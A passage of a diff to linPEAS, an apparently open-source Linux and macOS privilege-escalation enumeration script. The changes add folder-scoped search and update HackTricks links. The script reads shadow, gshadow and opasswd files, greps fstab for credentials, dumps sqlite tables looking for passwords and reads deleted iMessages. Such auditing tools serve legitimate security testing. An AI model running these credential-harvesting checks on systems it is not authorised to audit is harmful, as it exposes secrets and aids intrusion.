50)" -print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#acls" -( (getfacl -t -s -R -p /bin /etc $HOMESEARCH /opt /sbin /usr /tmp /root 2>/dev/null) || echo_not_found "files with acls in searched folders" ) | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED}," +print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#acls" +if ! [ "$SEARCH_IN_FOLDER" ]; then + ( (getfacl -t -s -R -p /bin /etc $HOMESEARCH /opt /sbin /usr /tmp /root 2>/dev/null) || echo_not_found "files with acls in searched folders" ) | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED}," +else + ( (getfacl -t -s -R -p $SEARCH_IN_FOLDER 2>/dev/null) || echo_not_found "files with acls in searched folders" ) | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED}," +fi if [ "$MACPEAS" ] && ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && ! [ "$(command -v getfacl)" ]; then #Find ACL files in macos (veeeery slow) ls -RAle / 2>/dev/null | grep -v "group:everyone deny delete" | grep -E -B1 "\d: " | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED}," @@ -3722,196 +4464,240 @@ echo "" #echo "" ##-- IF) .sh files in PATH -print_2title ".sh files in path" -print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#script-binaries-in-path" -echo $PATH | tr ":" "\n" | while read d; do - for f in $(find "$d" -name "*.sh" 2>/dev/null); do - if ! [ "$IAMROOT" ] && [ -O "$f" ]; then - echo "You own the script: $f" | sed -${E} "s,.*,${SED_RED}," - elif ! [ "$IAMROOT" ] && [ -w "$f" ]; then #If write permision, win found (no check exploits) - echo "You can write script: $f" | sed -${E} "s,.*,${SED_RED_YELLOW}," - else - echo $f | sed -${E} "s,$shscripsG,${SED_GREEN}," | sed -${E} "s,$Wfolders,${SED_RED},"; - fi - done -done -echo "" - - -broken_links=$(find "$d" -type l 2>/dev/null | xargs file 2>/dev/null | grep broken) -if [ "$broken_links" ] || [ "$DEBUG" ]; then - print_2title "Broken links in path" +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title ".sh files in path" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#script-binaries-in-path" echo $PATH | tr ":" "\n" | while read d; do - find "$d" -type l 2>/dev/null | xargs file 2>/dev/null | grep broken | sed -${E} "s,broken,${SED_RED},"; + for f in $(find "$d" -name "*.sh" 2>/dev/null); do + if ! [ "$IAMROOT" ] && [ -O "$f" ]; then + echo "You own the script: $f" | sed -${E} "s,.*,${SED_RED}," + elif ! [ "$IAMROOT" ] && [ -w "$f" ]; then #If write permision, win found (no check exploits) + echo "You can write script: $f" | sed -${E} "s,.*,${SED_RED_YELLOW}," + else + echo $f | sed -${E} "s,$shscripsG,${SED_GREEN}," | sed -${E} "s,$Wfolders,${SED_RED},"; + fi + done done echo "" + + broken_links=$(find "$d" -type l 2>/dev/null | xargs file 2>/dev/null | grep broken) + if [ "$broken_links" ] || [ "$DEBUG" ]; then + print_2title "Broken links in path" + echo $PATH | tr ":" "\n" | while read d; do + find "$d" -type l 2>/dev/null | xargs file 2>/dev/null | grep broken | sed -${E} "s,broken,${SED_RED},"; + done + echo "" + fi fi +##-- IF) Date times inside firmware +if [ "$SEARCH_IN_FOLDER" ]; then + print_2title "FIles datetimes inside the firmware (limit 50)" + find "$SEARCH_IN_FOLDER" -type f -printf "%T+\n" 2>/dev/null | sort | uniq -c | sort | head -n 50 + echo "To find a file with an specific date execute: find \"$SEARCH_IN_FOLDER\" -type f -printf \"%T+ %p\n\" 2>/dev/null | grep \"\"" + echo "" +fi + +##-- IF) Executable files added by user +print_2title "Executable files potentially added by user (limit 70)" +if ! [ "$SEARCH_IN_FOLDER" ]; then + find / -type f -executable -printf "%T+ %p\n" 2>/dev/null | grep -Ev "000|/site-packages|/python|/node_modules|\.sample|/gems" | sort -r | head -n 70 +else + find "$SEARCH_IN_FOLDER" -type f -executable -printf "%T+ %p\n" 2>/dev/null | grep -Ev "/site-packages|/python|/node_modules|\.sample|/gems" | sort -r | head -n 70 +fi +echo "" + + if [ "$MACPEAS" ]; then print_2title "Unsigned Applications" macosNotSigned /System/Applications fi -##-- IF) Unexpected folders in / -print_2title "Unexpected in root" -if [ "$MACPEAS" ]; then - (find / -maxdepth 1 | grep -Ev "$commonrootdirsMacG" | sed -${E} "s,.*,${SED_RED},") || echo_not_found -else - (find / -maxdepth 1 | grep -Ev "$commonrootdirsG" | sed -${E} "s,.*,${SED_RED},") || echo_not_found +##-- IF) Unexpected in /opt +if ! [ "$SEARCH_IN_FOLDER" ]; then + if [ "$(ls /opt 2>/dev/null)" ]; then + print_2title "Unexpected in /opt (usually empty)" + ls -la /opt + echo "" + fi +fi + +##-- IF) Unexpected folders in / +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Unexpected in root" + if [ "$MACPEAS" ]; then + (find $ROOT_FOLDER -maxdepth 1 | grep -Ev "$commonrootdirsMacG" | sed -${E} "s,.*,${SED_RED},") || echo_not_found + else + (find $ROOT_FOLDER -maxdepth 1 | grep -Ev "$commonrootdirsG" | sed -${E} "s,.*,${SED_RED},") || echo_not_found + fi + echo "" fi -echo "" ##-- IF) Files (scripts) in /etc/profile.d/ -print_2title "Files (scripts) in /etc/profile.d/" -print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#profiles-files" -if [ ! "$MACPEAS" ] && ! [ "$IAMROOT" ]; then #Those folders don´t exist on a MacOS - (ls -la /etc/profile.d/ 2>/dev/null | sed -${E} "s,$profiledG,${SED_GREEN},") || echo_not_found "/etc/profile.d/" - check_critial_root_path "/etc/profile" - check_critial_root_path "/etc/profile.d/" +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Files (scripts) in /etc/profile.d/" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#profiles-files" + if [ ! "$MACPEAS" ] && ! [ "$IAMROOT" ]; then #Those folders don´t exist on a MacOS + (ls -la /etc/profile.d/ 2>/dev/null | sed -${E} "s,$profiledG,${SED_GREEN},") || echo_not_found "/etc/profile.d/" + check_critial_root_path "/etc/profile" + check_critial_root_path "/etc/profile.d/" + fi + echo "" fi -echo "" ##-- IF) Files (scripts) in /etc/init.d/ + if ! [ "$SEARCH_IN_FOLDER" ]; then print_2title "Permissions in init, init.d, systemd, and rc.d" -print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#init-init-d-systemd-and-rc-d" -if [ ! "$MACPEAS" ] && ! [ "$IAMROOT" ]; then #Those folders don´t exist on a MacOS - check_critial_root_path "/etc/init/" - check_critial_root_path "/etc/init.d/" - check_critial_root_path "/etc/rc.d/init.d" - check_critial_root_path "/usr/local/etc/rc.d" - check_critial_root_path "/etc/rc.d" - check_critial_root_path "/etc/systemd/" - check_critial_root_path "/lib/systemd/" -fi + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#init-init-d-systemd-and-rc-d" + if [ ! "$MACPEAS" ] && ! [ "$IAMROOT" ]; then #Those folders don´t exist on a MacOS + check_critial_root_path "/etc/init/" + check_critial_root_path "/etc/init.d/" + check_critial_root_path "/etc/rc.d/init.d" + check_critial_root_path "/usr/local/etc/rc.d" + check_critial_root_path "/etc/rc.d" + check_critial_root_path "/etc/systemd/" + check_critial_root_path "/lib/systemd/" + fi -echo "" + echo "" +fi ##-- IF) Hashes in passwd file -print_list "Hashes inside passwd file? ........... " -if grep -qv '^[^:]*:[x\*\!]\|^#\|^$' /etc/passwd /etc/master.passwd /etc/group 2>/dev/null; then grep -v '^[^:]*:[x\*]\|^#\|^$' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null | sed -${E} "s,.*,${SED_RED}," -else echo_no +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_list "Hashes inside passwd file? ........... " + if grep -qv '^[^:]*:[x\*\!]\|^#\|^$' /etc/passwd /etc/master.passwd /etc/group 2>/dev/null; then grep -v '^[^:]*:[x\*]\|^#\|^$' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null | sed -${E} "s,.*,${SED_RED}," + else echo_no + fi + + ##-- IF) Writable in passwd file + print_list "Writable passwd file? ................ " + if [ -w "/etc/passwd" ]; then echo "/etc/passwd is writable" | sed -${E} "s,.*,${SED_RED_YELLOW}," + elif [ -w "/etc/pwd.db" ]; then echo "/etc/pwd.db is writable" | sed -${E} "s,.*,${SED_RED_YELLOW}," + elif [ -w "/etc/master.passwd" ]; then echo "/etc/master.passwd is writable" | sed -${E} "s,.*,${SED_RED_YELLOW}," + else echo_no + fi + + ##-- IF) Credentials in fstab + print_list "Credentials in fstab/mtab? ........... " + if grep -qE "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null; then grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null | sed -${E} "s,.*,${SED_RED}," + else echo_no + fi + + ##-- IF) Read shadow files + print_list "Can I read shadow files? ............. " + if [ "$(cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db 2>/dev/null)" ]; then cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db 2>/dev/null | sed -${E} "s,.*,${SED_RED}," + else echo_no + fi + + print_list "Can I read shadow plists? ............ " + possible_check="" + (for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"; defaults read "$l"; possible_check="1"; fi; done; if ! [ "$possible_check" ]; then echo_no; fi) 2>/dev/null || echo_no + + print_list "Can I write shadow plists? ........... " + possible_check="" + (for l in /var/db/dslocal/nodes/Default/users/*; do if [ -w "$l" ];then echo "$l"; possible_check="1"; fi; done; if ! [ "$possible_check" ]; then echo_no; fi) 2>/dev/null || echo_no + + ##-- IF) Read opasswd file + print_list "Can I read opasswd file? ............. " + if [ -r "/etc/security/opasswd" ]; then cat /etc/security/opasswd 2>/dev/null || echo "" + else echo_no + fi + + ##-- IF) network-scripts + print_list "Can I write in network-scripts? ...... " + if ! [ "$IAMROOT" ] && [ -w "/etc/sysconfig/network-scripts/" ]; then echo "You have write privileges on /etc/sysconfig/network-scripts/" | sed -${E} "s,.*,${SED_RED_YELLOW}," + elif [ "$(find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges on $(find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' ')' 2>/dev/null)" | sed -${E} "s,.*,${SED_RED_YELLOW}," + else echo_no + fi + + ##-- IF) Read root dir + print_list "Can I read root folder? .............. " + (ls -al /root/ 2>/dev/null | grep -vi "total 0") || echo_no + echo "" fi -##-- IF) Writable in passwd file -print_list "Writable passwd file? ................ " -if [ -w "/etc/passwd" ]; then echo "/etc/passwd is writable" | sed -${E} "s,.*,${SED_RED_YELLOW}," -elif [ -w "/etc/pwd.db" ]; then echo "/etc/pwd.db is writable" | sed -${E} "s,.*,${SED_RED_YELLOW}," -elif [ -w "/etc/master.passwd" ]; then echo "/etc/master.passwd is writable" | sed -${E} "s,.*,${SED_RED_YELLOW}," -else echo_no -fi - -##-- IF) Credentials in fstab -print_list "Credentials in fstab/mtab? ........... " -if grep -qE "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null; then grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null | sed -${E} "s,.*,${SED_RED}," -else echo_no -fi - -##-- IF) Read shadow files -print_list "Can I read shadow files? ............. " -if [ "$(cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db 2>/dev/null)" ]; then cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db 2>/dev/null | sed -${E} "s,.*,${SED_RED}," -else echo_no -fi - -print_list "Can I read shadow plists? ............ " -possible_check="" -(for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"; defaults read "$l"; possible_check="1"; fi; done; if ! [ "$possible_check" ]; then echo_no; fi) 2>/dev/null || echo_no - -print_list "Can I write shadow plists? ........... " -possible_check="" -(for l in /var/db/dslocal/nodes/Default/users/*; do if [ -w "$l" ];then echo "$l"; possible_check="1"; fi; done; if ! [ "$possible_check" ]; then echo_no; fi) 2>/dev/null || echo_no - -##-- IF) Read opasswd file -print_list "Can I read opasswd file? ............. " -if [ -r "/etc/security/opasswd" ]; then cat /etc/security/opasswd 2>/dev/null || echo "" -else echo_no -fi - -##-- IF) network-scripts -print_list "Can I write in network-scripts? ...... " -if ! [ "$IAMROOT" ] && [ -w "/etc/sysconfig/network-scripts/" ]; then echo "You have write privileges on /etc/sysconfig/network-scripts/" | sed -${E} "s,.*,${SED_RED_YELLOW}," -elif [ "$(find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges on $(find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' ')' 2>/dev/null)" | sed -${E} "s,.*,${SED_RED_YELLOW}," -else echo_no -fi - -##-- IF) Read root dir -print_list "Can I read root folder? .............. " -(ls -al /root/ 2>/dev/null | grep -vi "total 0") || echo_no -echo "" - ##-- IF) Root files in home dirs -print_2title "Searching root files in home dirs (limit 30)" -(find $HOMESEARCH -user root 2>/dev/null | head -n 30 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_RED},") || echo_not_found -echo "" +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Searching root files in home dirs (limit 30)" + (find $HOMESEARCH -user root 2>/dev/null | head -n 30 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_RED},") || echo_not_found + echo "" +fi ##-- IF) Others files in my dirs if ! [ "$IAMROOT" ]; then print_2title "Searching folders owned by me containing others files on it (limit 100)" - (find / -type d -user "$USER" ! -path "/proc/*" 2>/dev/null | head -n 100 | while read d; do find "$d" -maxdepth 1 ! -user "$USER" \( -type f -or -type d \) -exec dirname {} \; 2>/dev/null; done) | sort | uniq | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed "s,root,${C}[1;13m&${C}[0m,g" + (find $ROOT_FOLDER -type d -user "$USER" ! -path "/proc/*" 2>/dev/null | head -n 100 | while read d; do find "$d" -maxdepth 1 ! -user "$USER" \( -type f -or -type d \) -exec dirname {} \; 2>/dev/null; done) | sort | uniq | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed "s,root,${C}[1;13m&${C}[0m,g" echo "" fi ##-- IF) Readable files belonging to root and not world readable if ! [ "$IAMROOT" ]; then print_2title "Readable files belonging to root and readable by me but not world readable" - (find / -type f -user root ! -perm -o=r 2>/dev/null | grep -v "\.journal" | while read f; do if [ -r "$f" ]; then ls -l "$f" 2>/dev/null | sed -${E} "s,/.*,${SED_RED},"; fi; done) || echo_not_found + (find $ROOT_FOLDER -type f -user root ! -perm -o=r ! -path "/proc/*" 2>/dev/null | grep -v "\.journal" | while read f; do if [ -r "$f" ]; then ls -l "$f" 2>/dev/null | sed -${E} "s,/.*,${SED_RED},"; fi; done) || echo_not_found echo "" fi ##-- IF) Modified interesting files into specific folders in the last 5mins print_2title "Modified interesting files in the last 5mins (limit 100)" -find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" ! -path "/private/var/*" 2>/dev/null | grep -v "/linpeas" | head -n 100 | sed -${E} "s,$Wfolders,${SED_RED}," +find $ROOT_FOLDER -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" ! -path "/private/var/*" 2>/dev/null | grep -v "/linpeas" | head -n 100 | sed -${E} "s,$Wfolders,${SED_RED}," echo "" ##-- IF) Writable log files -print_2title "Writable log files (logrotten) (limit 100)" -print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#logrotate-exploitation" -logrotate --version 2>/dev/null || echo_not_found "logrotate" -lastWlogFolder="ImPOsSiBleeElastWlogFolder" -logfind=$(find / -type f -name "*.log" -o -name "*.log.*" 2>/dev/null | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 3){ print line_init; }; if (cont == "3"){print "#)You_can_write_more_log_files_inside_last_directory"}; pre=act}' | head -n 100) -printf "%s\n" "$logfind" | while read log; do - if ! [ "$IAMROOT" ] && [ "$log" ] && [ -w "$log" ] || ! [ "$IAMROOT" ] && echo "$log" | grep -qE "$Wfolders"; then #Only print info if something interesting found - if echo "$log" | grep -q "You_can_write_more_log_files_inside_last_directory"; then printf $ITALIC"$log\n"$NC; - elif ! [ "$IAMROOT" ] && [ -w "$log" ] && [ "$(command -v logrotate 2>/dev/null)" ] && logrotate --version 2>&1 | grep -qE ' 1| 2| 3.1'; then printf "Writable:$RED $log\n"$NC; #Check vuln version of logrotate is used and print red in that case - elif ! [ "$IAMROOT" ] && [ -w "$log" ]; then echo "Writable: $log"; - elif ! [ "$IAMROOT" ] && echo "$log" | grep -qE "$Wfolders" && [ "$log" ] && [ ! "$lastWlogFolder" == "$log" ]; then lastWlogFolder="$log"; echo "Writable folder: $log" | sed -${E} "s,$Wfolders,${SED_RED},g"; +if command -v logrotate >/dev/null && logrotate --version | head -n 1 | grep -Eq "[012]\.[0-9]+\.|3\.[0-9]\.|3\.1[0-7]\.|3\.18\.0"; then #3.18.0 and below +print_2title "Writable log files (logrotten) (limit 50)" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#logrotate-exploitation" + logrotate --version 2>/dev/null || echo_not_found "logrotate" + lastWlogFolder="ImPOsSiBleeElastWlogFolder" + logfind=$(find $ROOT_FOLDER -type f -name "*.log" -o -name "*.log.*" 2>/dev/null | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 3){ print line_init; }; if (cont == "3"){print "#)You_can_write_more_log_files_inside_last_directory"}; pre=act}' | head -n 50) + printf "%s\n" "$logfind" | while read log; do + if ! [ "$IAMROOT" ] && [ "$log" ] && [ -w "$log" ] || ! [ "$IAMROOT" ] && echo "$log" | grep -qE "$Wfolders"; then #Only print info if something interesting found + if echo "$log" | grep -q "You_can_write_more_log_files_inside_last_directory"; then printf $ITALIC"$log\n"$NC; + elif ! [ "$IAMROOT" ] && [ -w "$log" ] && [ "$(command -v logrotate 2>/dev/null)" ] && logrotate --version 2>&1 | grep -qE ' 1| 2| 3.1'; then printf "Writable:$RED $log\n"$NC; #Check vuln version of logrotate is used and print red in that case + elif ! [ "$IAMROOT" ] && [ -w "$log" ]; then echo "Writable: $log"; + elif ! [ "$IAMROOT" ] && echo "$log" | grep -qE "$Wfolders" && [ "$log" ] && [ ! "$lastWlogFolder" == "$log" ]; then lastWlogFolder="$log"; echo "Writable folder: $log" | sed -${E} "s,$Wfolders,${SED_RED},g"; + fi fi + done +fi + +echo "" + +if ! [ "$SEARCH_IN_FOLDER" ]; then + ##-- IF) Files inside my home + print_2title "Files inside $HOME (limit 20)" + (ls -la $HOME 2>/dev/null | head -n 23) || echo_not_found + echo "" + + ##-- IF) Files inside /home + print_2title "Files inside others home (limit 20)" + (find $HOMESEARCH -type f 2>/dev/null | grep -v -i "/"$USER | head -n 20) || echo_not_found + echo "" + + ##-- IF) Mail applications + print_2title "Searching installed mail applications" + ls /bin /sbin /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin /etc 2>/dev/null | grep -Ewi "$mail_apps" | sort | uniq + echo "" + + ##-- IF) Mails + print_2title "Mails (limit 50)" + (find /var/mail/ /var/spool/mail/ /private/var/mail -type f -ls 2>/dev/null | head -n 50 | sed -${E} "s,$sh_usrs,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_GREEN},g" | sed "s,$USER,${SED_RED},g") || echo_not_found + echo "" + + ##-- IF) Backup folders + if [ "$backup_folders" ] || [ "$DEBUG" ]; then + print_2title "Backup folders" + printf "%s\n" "$backup_folders" | while read b ; do + ls -ld "$b" 2> /dev/null | sed -${E} "s,backups|backup,${SED_RED},g"; + ls -l "$b" 2>/dev/null && echo "" + done + echo "" fi -done - -echo "" - -##-- IF) Files inside my home -print_2title "Files inside $HOME (limit 20)" -(ls -la $HOME 2>/dev/null | head -n 23) || echo_not_found -echo "" - -##-- IF) Files inside /home -print_2title "Files inside others home (limit 20)" -(find $HOMESEARCH -type f 2>/dev/null | grep -v -i "/"$USER | head -n 20) || echo_not_found -echo "" - -##-- IF) Mail applications -print_2title "Searching installed mail applications" -ls /bin /sbin /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin /etc 2>/dev/null | grep -Ewi "$mail_apps" -echo "" - -##-- IF) Mails -print_2title "Mails (limit 50)" -(find /var/mail/ /var/spool/mail/ /private/var/mail -type f -ls 2>/dev/null | head -n 50 | sed -${E} "s,$sh_usrs,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,$USER,${SED_RED},g" | sed "s,root,${SED_GREEN},g") || echo_not_found -echo "" - -##-- IF) Backup folders -print_2title "Backup folders" -printf "%s\n" "$backup_folders" | while read b ; do - ls -ld "$b" 2> /dev/null | sed -${E} "s,backups|backup,${SED_RED},g"; - ls -l "$b" 2>/dev/null && echo "" -done -echo "" +fi ##-- IF) Backup files print_2title "Backup files (limited 100)" -backs=$(find / -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bak\.*" -o -name "*\.bck" -o -name "*\.bck\.*" -o -name "*\.bk" -o -name "*\.bk\.*" -o -name "*\.old" -o -name "*\.old\.*" \) -not -path "/proc/*" 2>/dev/null) +backs=$(find $ROOT_FOLDER -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bak\.*" -o -name "*\.bck" -o -name "*\.bck\.*" -o -name "*\.bk" -o -name "*\.bk\.*" -o -name "*\.old" -o -name "*\.old\.*" \) -not -path "/proc/*" 2>/dev/null) printf "%s\n" "$backs" | head -n 100 | while read b ; do if [ -r "$b" ]; then ls -l "$b" | grep -Ev "$notBackup" | grep -Ev "$notExtensions" | sed -${E} "s,backup|bck|\.bak|\.old,${SED_RED},g"; @@ -3927,14 +4713,16 @@ if [ "$MACPEAS" ]; then sqlite3 $HOME/Library/Messages/chat.db 'select * from deleted_messages' 2>/dev/null fi -print_2title "Searching tables inside readable .db/.sql/.sqlite files (limit 100)" -FILECMD="$(command -v file 2>/dev/null)" -if [ "$PSTORAGE_DATABASE" ]; then + + +if [ "$PSTORAGE_DATABASE" ] || [ "$DEBUG" ]; then + print_2title "Searching tables inside readable .db/.sql/.sqlite files (limit 100)" + FILECMD="$(command -v file 2>/dev/null)" printf "%s\n" "$PSTORAGE_DATABASE" | while read f; do if [ "$FILECMD" ]; then - echo "Found: $(file $f)" | sed -${E} "s,\.db|\.sql|\.sqlite|\.sqlite3,${SED_RED},g"; + echo "Found "$(file "$f") | sed -${E} "s,\.db|\.sql|\.sqlite|\.sqlite3,${SED_RED},g"; else - echo "Found: $f" | sed -${E} "s,\.db|\.sql|\.sqlite|\.sqlite3,${SED_RED},g"; + echo "Found $f" | sed -${E} "s,\.db|\.sql|\.sqlite|\.sqlite3,${SED_RED},g"; fi done SQLITEPYTHON="" @@ -3968,8 +4756,8 @@ if [ "$PSTORAGE_DATABASE" ]; then printf ${BLUE}" --> Found interesting column names in$NC $t $DG(output limit 10)\n"$NC | sed -${E} "s,user.*|credential.*,${SED_RED},g" printf "$columns\n" | sed -${E} "s,username|passw|credential|email|hash|salt|$t,${SED_RED},g" (sqlite3 $f "select * from $t" || $SQLITEPYTHON -c "print(', '.join([str(x) for x in __import__('sqlite3').connect('$f').cursor().execute('SELECT * FROM \'$t\';').fetchall()[0]]))") 2>/dev/null | head + echo "" fi - echo "" done fi fi @@ -3983,30 +4771,34 @@ if [ "$MACPEAS" ]; then fi ##-- IF) Web files -print_2title "Web files?(output limit)" -ls -alhR /var/www/ 2>/dev/null | head -ls -alhR /srv/www/htdocs/ 2>/dev/null | head -ls -alhR /usr/local/www/apache22/data/ 2>/dev/null | head -ls -alhR /opt/lampp/htdocs/ 2>/dev/null | head -echo "" +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Web files?(output limit)" + ls -alhR /var/www/ 2>/dev/null | head + ls -alhR /srv/www/htdocs/ 2>/dev/null | head + ls -alhR /usr/local/www/apache22/data/ 2>/dev/null | head + ls -alhR /opt/lampp/htdocs/ 2>/dev/null | head + echo "" +fi ##-- IF) All hidden files print_2title "All hidden files (not in /sys/ or the ones listed in the previous check) (limit 70)" -find / -type f -iname ".*" ! -path "/sys/*" ! -path "/System/*" ! -path "/private/var/*" -exec ls -l {} \; 2>/dev/null | grep -Ev "$INT_HIDDEN_FILES" | grep -Ev "_history$|\.gitignore|.npmignore|\.listing|\.ignore|\.uuid|\.depend|\.placeholder|\.gitkeep|\.keep|\.keepme" | head -n 70 +find $ROOT_FOLDER -type f -iname ".*" ! -path "/sys/*" ! -path "/System/*" ! -path "/private/var/*" -exec ls -l {} \; 2>/dev/null | grep -Ev "$INT_HIDDEN_FILES" | grep -Ev "_history$|\.gitignore|.npmignore|\.listing|\.ignore|\.uuid|\.depend|\.placeholder|\.gitkeep|\.keep|\.keepme" | head -n 70 echo "" ##-- IF) Readable files in /tmp, /var/tmp, bachups -print_2title "Readable files inside /tmp, /var/tmp, /private/tmp, /private/var/at/tmp, /private/var/tmp, and backup folders (limit 70)" -filstmpback=$(find /tmp /var/tmp /private/tmp /private/var/at/tmp /private/var/tmp $backup_folders_row -type f 2>/dev/null | head -n 70) -printf "%s\n" "$filstmpback" | while read f; do if [ -r "$f" ]; then ls -l "$f" 2>/dev/null; fi; done -echo "" +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Readable files inside /tmp, /var/tmp, /private/tmp, /private/var/at/tmp, /private/var/tmp, and backup folders (limit 70)" + filstmpback=$(find /tmp /var/tmp /private/tmp /private/var/at/tmp /private/var/tmp $backup_folders_row -type f 2>/dev/null | head -n 70) + printf "%s\n" "$filstmpback" | while read f; do if [ -r "$f" ]; then ls -l "$f" 2>/dev/null; fi; done + echo "" +fi ##-- IF) Interesting writable files by ownership or all if ! [ "$IAMROOT" ]; then print_2title "Interesting writable files owned by me or writable by everyone (not in Home) (max 500)" - print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files" #In the next file, you need to specify type "d" and "f" to avoid fake link files apparently writable by all - obmowbe=$(find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | sort | uniq | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n500) + obmowbe=$(find $ROOT_FOLDER '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | sort | uniq | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n500) printf "%s\n" "$obmowbe" | while read entry; do if echo "$entry" | grep -q "You_can_write_even_more_files_inside_last_directory"; then printf $ITALIC"$entry\n"$NC; elif echo "$entry" | grep -qE "$writeVB"; then @@ -4021,9 +4813,9 @@ fi ##-- IF) Interesting writable files by group if ! [ "$IAMROOT" ]; then print_2title "Interesting GROUP writable 